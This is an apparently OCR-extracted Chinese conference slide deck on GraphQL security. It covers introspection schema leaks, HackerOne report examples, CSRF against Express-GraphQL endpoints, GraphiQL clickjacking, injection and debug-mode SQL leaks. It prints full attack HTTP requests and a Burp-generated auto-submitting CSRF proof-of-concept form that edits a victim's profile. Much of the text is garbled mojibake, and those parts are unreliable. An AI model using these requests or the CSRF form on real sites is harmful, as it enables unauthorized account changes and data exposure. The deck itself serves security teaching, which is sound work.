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type Project { { {
name: String project(name: "GraphQL") { "project": {
tagline: String tagline "tagline": "A query language for APIs"
contributors: [User] } }

3 } }
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: String tagline :
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~ Query or Mutation

o ObjectType: RIUFBRIES K, EX T — MBI
o Field: F&, XUFERIEEFTHEM

®

.

Arguments: £ A% #1& AQuerysMutation

Query or Mutation: $5 8 Type, A REAFIESIEA, HIENFRRQuery



—IMATXRERE ENEMES

faim < HiEE
SELECT * FROM

UPDATE SET ...

EIE T B : Navicat, PHPMyAdmin...

—ITRATEAPIBIEMNEIES

it < i

query {

mutation {

E¥E T B : GraphiQL
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Risk 1. 8BS Bttt 55 5 1Y

GraphQL2—|18 & X AR,

FAMRNA, BNer5H 5 H GraphQLH & Query. Mutation, ObjectType. Field, Arguments,

—
| HTTP/1.1 200 OK
| Content-Type: application/json

| POST /graphql HTTP/1.1
| Host: graphqglapp.herokuapp.com
| Content-Type: application/json

I {
|{"query": "\n query

| IntrospectionQuery {\n

|

|

| "data": {

: " schema": {
|

|

|

| __schema {\n queryType { "queryType": {
:name 3\n mutationType { "name": "Query"
| name \n ..."}
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e https://qithub.com/2fd/graphdoc

Github APIv4 34 :



https://github.com/2fd/graphdoc
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Tfobjects.typesh SHBHIE R :
e email
e password
e secretKey
e token
e licenseKey

® session

% % X T JEFHITFEX (deprecated fields)
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2233 QueryF PR =i -

o EEIFREREER

o MEEXEIEE (ForeignKey) R BRI B

ZRid Mutation#X [R 12 i -

o #tB#EArguments. InputObjectType, B 51t FuzzFT& Mutation
BE:

o FIZIEIELRESTIuUl APIERRE Rt BIRAFME 7 2
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Hackerone JAPI& T B R 1= HI = -

e THE $30.000 GEM: PART 1

MR, BEYE RES, FEAFPEEINERTE.,
RANREHBAS

o WHRHE

MKRIEZEFIREINEAF

e The request tells the number of private programs, the new system of authorization /invite/token

e Team object in GraphQL disclosed total number of whitelisted hackers



https://www.hackerone.com/blog/the-30-thousand-dollar-gem-part-1
https://hackerone.com/reports/310946
https://hackerone.com/reports/342978
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=4 :hackerone —R5I{E Bt T RiA

{ {
team(handle: "security") { "data": {
id "team": {
name "id": "z21k0i8vaGF...",
handle "name": "HackerOne",
whitelisted_hackers { "handle": "security",
edges { "whitelisted_hackers": {
cursor "edges": [],
} "total_count": 30
total_count }
b b
b by
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=4 :hackerone —R5I{E Bt T RiA

{ {
team(handle: "security") { "data": {
id "team": {
name "id": "z21k0i8vaGF...",
handle "name": "HackerOne",
whitelisted_hackers { "handle": "security",
edges { "whitelisted_hackers": {
cursor "edges": [],
} AR e = "total_count":
————————————— }
b b
b by
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o TWLMHEBTINA, AT LU LA H

e https://github.com/skevy/graphiql-app

e htips://github.com/apollographgl/apollo-client-devtools

e https://chrome.google.com/webstore/detail/chromeiqgl/fkkiamalmpiidkljmicmijfbieicimeij
BZ EFIMET, #EAGraphiQLE ] o7 ?



https://github.com/skevy/graphiql-app
https://github.com/apollographql/apollo-client-devtools
https://chrome.google.com/webstore/detail/chromeiql/fkkiamalmpiidkljmicmjfbieiclmeij
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GraphQLE AR EEM I FiZLE, WA EEEMREERE

GraphQLSE] : RIFHHTTPIER A%
e express-graphql e GET
e graphene-django e POST

e graphql-php

SKIAE, EZEEAE



Risk 2. BlimZ& £ miF

Express-GraphQL:
o IEZEEAZEIIF
e HB#GraphiQL
Graphene-Django:
o {k#DjangoIE 2B & (Secure As Default)
e HB7GraphiQL
GraphQL-PHP

o XIXIEZ
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Express-GraphQL Endpoint CSRF iR

F| FA GraphiQLIFi GraphQL# O :

POST /? HTTP/1.1

Host: graphqlapp.herokuapp.com

Origin: https://graphglapp.herokuapp.com
User-Agent: Graphigl/http

Referer: https://graphqlapp.herokuapp.com/
Cookie: [mask]

Content-Type: application/json
Content-Length: 108

{"query":"mutation {\n editProfile(name:\"hacker\"
age\n }\n}","variables":null}

, age: 5) {\n
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name\n
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Express-GraphQL Endpoint CSRFif&if

% Content-Typef&tk application/x-www-form-urlencoded, 58] BLLh #1117 :

POST /? HTTP/1.1

Host: graphqlapp.herokuapp.com

Origin: https://graphglapp.herokuapp.com
User-Agent: Graphigl/http

Referer: https://graphqlapp.herokuapp.com/
Cookie: [mask]

Content-Type: application/x-www-form-urlencoded
Content-Length: 138

guery=mutation%20%7B%0A%20%20editProfile(name%3A%22hacker%22%2C%20age%3A%20
5)%20%7B%0A%20%20%20%20Nname%0A%20%20%20%20age%0A%20%20%7D%OA%7D
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Express-GraphQL Endpoint CSRF iR

4 B CSRF POC:Burp = Right click = Engagement tools = Generate CSRF Poc

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://graphglapp.herokuapp.com/" method="POST">
<input type="hidden" name="query"
value="mutation&#32;&#123;&#10;&#32;&#32;editProfile&#40; name&#58;&quot ;hac
ker&quot ; &#44; &#32; age&#58; &#32; 5&#41; &#32; &#123; &#10; &#32; &#32; &#32; &#32;n
ame&#10; &#32; &#32; &#32; &#32; age&#10; &#32; &#32;&#125;&#10;&#125;" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>



BYE sanpmEkxs

GraphiQL Clickjacking /il

GraphiQLY3¥1% :
o EIIGETS#1% AGraphQLiEH]
e QueryXEMIBEARIUER L%, MutationE R M BEAFER HLRE
o HENAYATE KL H GraphQLARFim
o Express-GraphQL
o Graphene-Django
o

A CSRFRRMIERT, anfe #HITHIF 2
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GraphiQL Clickjacking /il

http://victim.com/graphql?query=mutation%20%7B%0A%20%20editProfile%28. .. http://evil.com
I mutation { ] | { 1
| editProfile(name:"hacker") { I | "data": { I
| name | | "editProfile": { |
| age | | "name": "hacker", |
| } | "age": 5 |
g B |
I | 3
| A |
| L '
I L I
- > |
I .
‘] ry - |




GraphiQL Clickjacking /il

GraphiQL R H#E iR

e https://qithub.com/graphql/graphigl/issues/683

4 Rk Clickjacking POC:
e Burp = Burp Clickbandit

e http:/675ba661.2m1.pw/f8d888
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https://github.com/graphql/graphiql/issues/683
http://675ba661.2m1.pw/f8d888
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GraphQL;EA




BYH sapEss

Risk 3. GraphQL:F A i

GraphQL;EA
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Risk 3. GraphQL;E A i

Bt GraphQLIZRAIS#M SEUE A EEAPI

FIFAHFE:
e FFIFIIMURL -> Blim KBNS # -> BfE R GraphQLIEF] -> &3 -> FimieT
e MAFIAEIEEURL -> FlimkEUEE S # > BHERCEE GraphQLIER] -> k1% -> Fimil1T

iR ZEE . CSRF
fERAE:
o ‘SHILEW



BYH sapEss

Risk 3. GraphQL:F A i

SQLS #L =4 GraphQL“S#1L &if)"
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Risk 3. GraphQL;¥ A i

R A R
o HFPHWAFEAZAKEH
o SQL:SQLF AR
o JavaScript: XSS/l
o Shell: @i S ITIRIRA

o  GraphQL:GraphQL¥ A i
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Risk 4. DEBUGHE R TH{E Bt &
FAEXTHEE 0@ :

e symfony debug IEXMHBIETE

& (Edusoho) )

e Django DEBUG=True {E Bt 55
e Flask debug EXEE K B ITIRIF
e Graphene-Django DEBUGHER THIZ £ [o]FR

o 3X#4:{Django Debug Middleware)



https://www.leavesongs.com/PENETRATION/edusoho-debug-user-information-disclose.html
http://docs.graphene-python.org/projects/django/en/latest/debug/
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Graphene-Django DEBUGHE R T & £ o]

£ F__debug typesRixEE R ERMIEMER :

| { | 1 I
| card(id: 1) { | | rngata": { I
I 19 I "card": null, I
I title I I n d b " . I
|3 | | —debugt: g |
| _ debug { || sql™: [ |
I sql { || { I
I sql | "sql": "SELECT ...", I
I raWSQl I I Ilrawsqlll . "SELECT L n , I
I params I I 1 1 1 1] I
| ) | params": "[5, 6, ...] |
| 3 | } |
I I I

e — — — — — — — — — — — — — — — — — — e — — — — — — — — — — — — — — — — — —
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iR 2R

o MIREZIE

e {8WContent-TypeFECSRF

e GraphiQL Clickjacking

e GraphQL:* A

o DEBUGKRIERMHTE
GraphQLE— I TBEEE, EXXEELFZSEEMIZE
FTLL, GraphQLE E{hAREIREFE E T 2P IR

o SQL. =T EARIME

e DDOS
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know it.then hack it ?
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Any Question?

root@leavesongs.com



